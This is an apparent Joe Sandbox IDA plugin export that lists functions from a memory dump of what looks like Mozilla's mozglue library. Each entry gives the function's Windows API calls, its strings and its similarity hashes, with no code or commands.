Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: cfcd83041465c77de435e1ecbff27403596349978b595ca9fdeae43978170675
Instruction ID: d3a7f688efa435e1d351bb5e34ea291d14ffcb330afa97d9442a7cf304d22f95
Opcode Fuzzy Hash: cfcd83041465c77de435e1ecbff27403596349978b595ca9fdeae43978170675
Instruction Fuzzy Hash: 5B21E5B1A002089FDF106F25EC08A9E7BBCFF45218F108428E86AA7240CB34E659CFD1

Function 6C9D7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9D7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9D7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D707E

Part of subcall function 6C9881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9881DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D709C
LocalFree.KERNEL32(?), ref: 6C9D70AA

Strings

### ERROR: %s: %s, xrefs: 6C9D7087
(null), xrefs: 6C9D706A, 6C9D7083

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 5b39a7de2710716893b6006aab6248efd6ea1d13c0f73d79d3b71a4da35160e8
Instruction ID: 7b770b83111015972b51bc40b58f514c758641d01ae48a410c359b99996104d7
Opcode Fuzzy Hash: 5b39a7de2710716893b6006aab6248efd6ea1d13c0f73d79d3b71a4da35160e8
Instruction Fuzzy Hash: 6701DDB1A04108BFDB046FA4EC4ADAF7BBCEF49255F150435FA15E3241EA71A914CBE1

Function 6C999E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C999EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C999F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C999F34
LeaveCriticalSection.KERNEL32(?), ref: 6C99A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C99A8B1, 6C99A8D4, 6C99A8EF

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 9e5c94d1f6a02a8c0d14d8b4b30e8c76df737f4cad2839ae8ebb7bc290f6ce90
Instruction ID: 69ca7e4e79cd4a341389cb88dfb59402e51f0ea6965921ca26b72093fefdbb6d
Opcode Fuzzy Hash: 9e5c94d1f6a02a8c0d14d8b4b30e8c76df737f4cad2839ae8ebb7bc290f6ce90
Instruction Fuzzy Hash: D8727A72E056118FD314CF29C540215FBE5FF89328B2EC6ADE8699B791DB35E841CB81

Function 6C9C2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9C2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9C2C61

Part of subcall function 6C974DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C974E5A
Part of subcall function 6C974DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C974E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9C2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C2E2D

Part of subcall function 6C9881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9881DE

Strings

expected a Time entry, xrefs: 6C9C2E36
ProfileBuffer parse error: %s, xrefs: 6C9C2E3B
(root), xrefs: 6C9C354F

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: b4e14fb4577b83a9adc3f23fd28114c57ad02fd4cf39307c2c127b5394ec18c7
Instruction ID: 2c03f5f22c86f92878916e7a8afef1dfde98ef5ba92554c581aa58ef93a9bff8
Opcode Fuzzy Hash: b4e14fb4577b83a9adc3f23fd28114c57ad02fd4cf39307c2c127b5394ec18c7
Instruction Fuzzy Hash: 9191ACB0608B808FC724CF24C49469EB7E5AFE9358F10491DE59A9B791DB30D949CB53

Function 6C99C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C99C317
MOZ_CRASH(), xrefs: 6C99D4BB

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: d998e72e452ed7b2ee754be8f4776ed06e07329b4998b413759d77c8df64d6ed
Instruction ID: fedd28f3625fb1f61b516e1e00bc2ac071e91b93290fb99d03eab660d2b472e2
Opcode Fuzzy Hash: d998e72e452ed7b2ee754be8f4776ed06e07329b4998b413759d77c8df64d6ed
Instruction Fuzzy Hash: 7852C3716093418FD724CF28C89076AB7F6FB8A318F28891DD9E687B91D735D846CB42

Function 6C9D9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9D9F3D
__aulldiv.LIBCMT ref: 6C9D9F77
__aullrem.LIBCMT ref: 6C9D9F8C
__aulldiv.LIBCMT ref: 6C9DA023

Strings

NaN, xrefs: 6C9D9EAB
-Infinity, xrefs: 6C9D9E60, 6C9D9E7B

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 8834d8ae260f90e73c84e1e887fac76ffe252ffc6d91cac2dc2adef8ecb9d428
Instruction ID: 0432cb498bcf20187e373678a525bb2434485bee6388d58dedb2953bcff51d5b
Opcode Fuzzy Hash: 8834d8ae260f90e73c84e1e887fac76ffe252ffc6d91cac2dc2adef8ecb9d428
Instruction Fuzzy Hash: 6BC1BF31E00719CBDB14CFA8C8907AEB7B6BB95314F168529D405BBB80DB71ED49CB91

Function 6C97D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C97DE7F
, xrefs: 6C97DA88
-, xrefs: 6C97D7DD
1, xrefs: 6C97DBDD
8, xrefs: 6C97DC08
0, xrefs: 6C97DC7F
0, xrefs: 6C97D852
@, xrefs: 6C97DAF6

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: bc445581b33ce217210782c50fe0e09514df44c5561c64a5dd82ba4c49593ab9
Instruction ID: 95492da4578668f92605e8f1a885447fda78687e7650af457922b94d4a70a32a
Opcode Fuzzy Hash: bc445581b33ce217210782c50fe0e09514df44c5561c64a5dd82ba4c49593ab9
Instruction Fuzzy Hash: 7B62DE7260E3858FD721CF18C09076ABBF6AF86318F184A4DE4D54BB91D335D985CBA2

Function 6C989F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C98A5D6
0, xrefs: 6C98A100
' , xrefs: 6C98A3D8
1, xrefs: 6C98A824
@, xrefs: 6C98A625
0, xrefs: 6C98AB22

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7e9e26d107515f27b5f34bb327c4b3810c254b75b066a05ef06635a6f53cb756
Instruction ID: 8e4a28c7add941056b3ceeca6ffe85be7b5dab719c3cb0db37693d8171b669e5
Opcode Fuzzy Hash: 7e9e26d107515f27b5f34bb327c4b3810c254b75b066a05ef06635a6f53cb756
Instruction Fuzzy Hash: 6A82D03190B3118BD711CF19C48026EB7E6EB85718F558E2EE9D547ED0DB39E886CB82

Function 6C97BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C97C1CB
__aulldiv.LIBCMT ref: 6C97C24C
__aulldiv.LIBCMT ref: 6C97C348
__aullrem.LIBCMT ref: 6C97C365
__aulldiv.LIBCMT ref: 6C97C37D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: afddc368e3beafbb672064fb84e64b12dea8a74d88f925ce18cf965c08fb1ebf
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 75321432B056129FCB18DE2CC890666BBE6AFD9310F09867DE895CB395D730ED05CB91

Function 6C9E545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9E8A4B

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 0f54d901c1828ca8d55d3362d71ee8b69df1917757486dd1ae5a640b459d9a38
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 85B1D772A0021ACFDB15CF68CC907E9B7B6EFA9314F1902A9C549DB791E730D985CB90

Function 6C9E542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9E88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9E925C

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: faa7d6d1f069d4b820c8269f46dde8780aefd84ceb15e1269bd44b8289cb7d8b
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F3B1C772E0011ACBDB15CF58C8816EDB7B6EFA9314F190269C949DB785E730E989CB90

Function 6C9E50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9E8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9E925C

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 86b87fdcde85ca7ee11cf78d30ddf5cdd76c4217636b5542138c4fdfe2906704
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 09A1D772A001178BDB15CE58CC807E9B7B6AFA9314F1902B9C949DB785E730E999CB90

Function 6C9C77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9C7A93

Part of subcall function 6C995C50: GetTickCount64.KERNEL32 ref: 6C995D40
Part of subcall function 6C995C50: EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C995D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9C7AA1

Part of subcall function 6C995C50: __aulldiv.LIBCMT ref: 6C995DB4
Part of subcall function 6C995C50: LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C995DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9C7B31

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 50ca2a9cf54f2d66d539e2f84fca16ac511fb7042ec93d4f61c6f784e76a4d18
Instruction ID: 28a24938baab57961acfe48bd750ac28de400247176706e5da626ead77733e43
Opcode Fuzzy Hash: 50ca2a9cf54f2d66d539e2f84fca16ac511fb7042ec93d4f61c6f784e76a4d18
Instruction Fuzzy Hash: FBB16D357087808BCB14CE24C4906AFB7E2BFD9718F154A1CE99567B91DB70E90ACB83

Function 6C9B6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9B6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B6E1E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 00a1a75021d96f7f873547c187aa9244019cf69dc4cc5a55c191fb1269b2da63
Instruction ID: 363bad5e3347d7bff1d3b01f9f18a7220a1351717426fcb81944a0502025e24a
Opcode Fuzzy Hash: 00a1a75021d96f7f873547c187aa9244019cf69dc4cc5a55c191fb1269b2da63
Instruction Fuzzy Hash: 0FA17B706183819FD718CF24C4907ABBBE6BFA8308F04491DE48A97751DB70F859CB92

Function 6C9DB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9DB720
RtlNtStatusToDosError.NTDLL ref: 6C9DB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C9AFE3F,00000000,00000000,?,?,00000000,?,6C9AFE3F), ref: 6C9DB760

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 25a04d4d22d39012b329c3974842a862c277848e7c96264024977a636606b6fc
Instruction ID: fdea0d060bf1f960e449e24921abb9307e5fd5853e1f6b90073a73252e424d55
Opcode Fuzzy Hash: 25a04d4d22d39012b329c3974842a862c277848e7c96264024977a636606b6fc
Instruction Fuzzy Hash: C3F0AFB0A0420CAFEF019AA1CC84BEE77BC9F28719F109129E511729C0D774E688C661

Function 6C994640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C994777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C995585, 6C9955A8, 6C9955C3, 6C995624

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: d37aeb42e62246feb1d2383ffed458a11d9bd7119a85156762e09b355e1bd618
Instruction ID: 45def062ad42f0959d4590eb036966d47d7defb0c118bc68d055716fd0ab83dd
Opcode Fuzzy Hash: d37aeb42e62246feb1d2383ffed458a11d9bd7119a85156762e09b355e1bd618
Instruction Fuzzy Hash: 57B29D71A057018FD309CF29C590716BBE6BFC5328B2DC7ADE46A8B6A5D731E841CB81

Function 6C9D85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9D8C7C
__aulldiv.LIBCMT ref: 6C9D8DD7

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 9f7cd4b1eb856f7a1f0010bf87cddf53f8323b4d4d09b6c47c997f53d0614176
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 52329F31F005198BDF1CCE9DC8A17BEB7B6FB88310F56912AD406BB791CA34AD418B95

Function 6C9DB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9803D4,?), ref: 6C9DB955
NtQueryVirtualMemory.NTDLL ref: 6C9DB9A5

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 2dd00f4ccf3529e2533a23ada89af8c13643970d0d35a48c7c707d438502c657
Instruction ID: 4bc49fe579e948d26afc2a2ebd346a6149cd0aecd8c251ba0b986706d95d2950
Opcode Fuzzy Hash: 2dd00f4ccf3529e2533a23ada89af8c13643970d0d35a48c7c707d438502c657
Instruction Fuzzy Hash: 1C41B471E0161D9FDF04CFA8D880ADEB7B9EF88358F558129E515A7704DB30EC458B90

Function 6C9B5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C984A63,?,?), ref: 6C9B5F06

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
